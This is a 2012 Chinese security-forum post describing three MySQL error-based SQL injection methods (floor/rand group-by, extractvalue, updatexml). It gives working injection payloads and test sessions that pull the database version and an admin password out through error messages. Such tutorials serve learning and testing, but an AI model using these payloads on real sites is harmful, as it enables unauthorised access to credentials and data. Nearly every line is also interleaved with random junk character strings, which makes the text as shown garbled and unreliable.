找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2624|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
3 k6 A) a6 P, }& U; u& T8 m实际测试环境:+ b: x( p0 P7 E7 @( }3 G4 i
​: \. q% q6 D$ t" L" O/ M

2 j5 Q) u: F" v( hmysql> show tables;9 R) I7 E3 N) E5 |& P( W. `
+----------------+; M% ?( }2 R+ D3 k7 f" Y! R' Q2 @6 p: `
| Tables_in_test |: ?8 n- \. b" z
+----------------+
, a# p8 J- c4 f' Q9 O" C) e( z" || admin          |
+ @( q: Z! l3 y9 n( L: \% o0 W0 e) {| article        |
$ p- K" A7 R( r( ^! N! o% y+----------------+5 q  `' |9 c. _% Q( \

$ D% b# U# ?) e6 F1 P8 o ) D8 O6 r( A3 W7 {( O: e( i0 N

2 ^8 ^; C0 n$ I9 l! _' qmysql> describe admin;
  X; e* g8 @$ J" ?+-------+------------------+------+-----+---------+----------------+" x4 g; k1 r( s% O; M
| Field | Type             | Null | Key | Default | Extra          |
/ m$ J- D! N% I2 ^2 C+-------+------------------+------+-----+---------+----------------+
+ J2 P' r9 u5 s+ V| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |  V: `. m7 S; o# Y
| user  | varchar(50)      | NO   |     | NULL    |                |7 I0 j- x: O4 o2 U" X* l
| pass  | varchar(50)      | NO   |     | NULL    |                |) v1 q8 S8 H/ z5 k) |
+-------+------------------+------+-----+---------+----------------+5 o; _% L3 B; O) q/ U/ m. b

" h- \3 X1 {! M4 {8 u  d" L
* m. R$ v/ v) d: ` ' n6 `( r- M, Q: d. ?
mysql> describe article;
; m2 B& B; T) q- A! m2 v( X+---------+------------------+------+-----+---------+----------------+
- {( |* Y6 R3 g, p$ m  Z9 K" [| Field   | Type             | Null | Key | Default | Extra          |* S6 g* s; S7 [( ~" _
+---------+------------------+------+-----+---------+----------------+7 }" A' N& D! d, p" r
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |; P, T, M1 U) x1 G" @
| title   | varchar(50)      | NO   |     | NULL    |                |
9 D8 C* l, y& U) Q; P| content | varchar(50)      | NO   |     | NULL    |                |
  f$ u1 v8 P' y8 X4 n+---------+------------------+------+-----+---------+----------------+7 ^1 d5 d0 j+ t- R2 r
1、通过floor报错
- @8 ~! x+ x) m' P7 C3 e可以通过如下一些利用代码
' f: q+ W2 K: f  H7 P/ J/ H% ^  V8 f ; z5 r; U  A7 q0 h- F( R

1 x" [7 e9 b& @: R1 Fand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
) P& ^4 `# }% _8 B5 f6 m0 afrom information_schema.tables group by x)a);
6 A8 ~9 m2 L: G" j 5 P+ W) ]' [# i9 l+ o0 {+ d

- Y1 y. h3 H7 Land (select count(*) from (select 1 union select null union select !1)x
& e0 v; Y7 ^& V: pgroup by concat((select table_name from information_schema.tables limit 1),
* r* W7 A7 P  }/ I4 ?floor(rand(0)*2)));
% q2 _( Y1 f( J- b  H$ o( Q6 I举例如下:
: e  j) P! m% X6 S2 K- j首先进行正常查询:
4 C0 `) ^2 J6 K, A, n . \+ a2 [, g$ F0 ]
mysql> select * from article where id = 1;' E  Y, B, x3 i6 c3 d8 {) y
+----+-------+---------+; z& o$ R" n! D  |3 D
| id | title | content |+ E( W5 Y* Z( Y' Z. p1 m
+----+-------+---------+
( E; {3 O. I; u2 v9 ~7 R|  1 | test  | do it   |
$ _! d9 v9 i4 d. _  s) s( V, y4 m& u+----+-------+---------+
& W9 C% C% S5 K4 s; y假如id输入存在注入的话,可以通过如下语句进行报错。
3 }$ s8 h1 N# @8 w: `3 @ & i# E0 p& g, l, F

7 I4 M! l+ j9 _6 x; Cmysql> select * from article where id = 1 and (select 1 from
' p! e( Z6 [3 u, D0 q(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
) l% U0 ]$ t5 t; K; f" J$ iERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'8 D; i2 j7 E. e* ^
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。8 U; {, \- M5 N  D5 b. a3 }
例如我们需要查询管理员用户名和密码:
) V- E2 \. P5 N9 SMethod1:
( y4 ?2 }/ d6 j( f+ J5 C 9 h" ^1 C7 T- L$ p" W6 i

6 ]. C- q: g  imysql> select * from article where id = 1 and (select 1 from
1 T/ ^+ f0 [4 J6 ?+ w0 R# E(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x) S$ a0 s) u1 u
from information_schema.tables group by x)a);
" u$ S% R) m9 Q3 \9 aERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
& {+ D$ E% t* kMethod2:7 _" ~& Y0 D' D7 ^4 L6 X: e7 C

- |9 s" n2 L4 v3 }" V$ p! Y 7 z( @1 ^. Z1 R7 O
mysql> select * from article where id = 1 and (select count(*); ?- Q- W/ S" v) M! B  @  L, K7 Y' E; j
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
( `7 ]- B' _6 `% ?& ~floor(rand(0)*2)));
  s% p$ e! m% ]; mERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key') g2 @, G6 u0 d4 X
2、ExtractValue
. K: J3 x& `, F/ V& Q8 l4 ]3 j测试语句如下9 W+ O+ V7 ~9 S1 Q1 Z9 O

7 w2 m6 u2 j( K
1 H* X4 D' Y, J. ~$ k7 m& {9 \$ T8 aand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3 _8 ~6 j( ^; q+ W+ t0 l+ h- _) E
实际测试过程
3 k: |2 _; C! J% @( J
0 |, \2 r! l% v  N0 G+ m
# a  l# e! y' h  n6 b6 Bmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,' L, \6 G' R/ }
(select pass from admin limit 1)));--$ I- q8 m) w* w
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
( {7 A; I& x1 m% |# ~; e  Y; I  W# u3、UpdateXml6 f; Q& ?: a, I5 u/ D) n7 e: G
测试语句
% n: p( c; b5 \/ b
( s( V- t$ \& `3 ^; M5 a
; M6 X! D8 K+ Z! M5 w8 f0 ?and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))$ n. M  N* N8 |
实际测试过程& A, t. T$ N3 Q& l: A, v5 ~; B* ~8 n

. E# K/ V& |) {3 i, e4 D! [ $ ~' _; G/ M1 a2 M" R, x8 F
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
7 n5 H1 _+ x4 l& V; O0 d& {(select pass from admin limit 1),0x5e24),1));
9 z/ y: Q* o* g3 U  @ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'- b4 \0 M4 c& x
All, thanks foreign guys.( k9 W, b  V; B4 i0 ?& _

2 P! g8 u4 G# P7 {# s2 \$ F2 n​
7 n! o4 t$ B9 k' [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表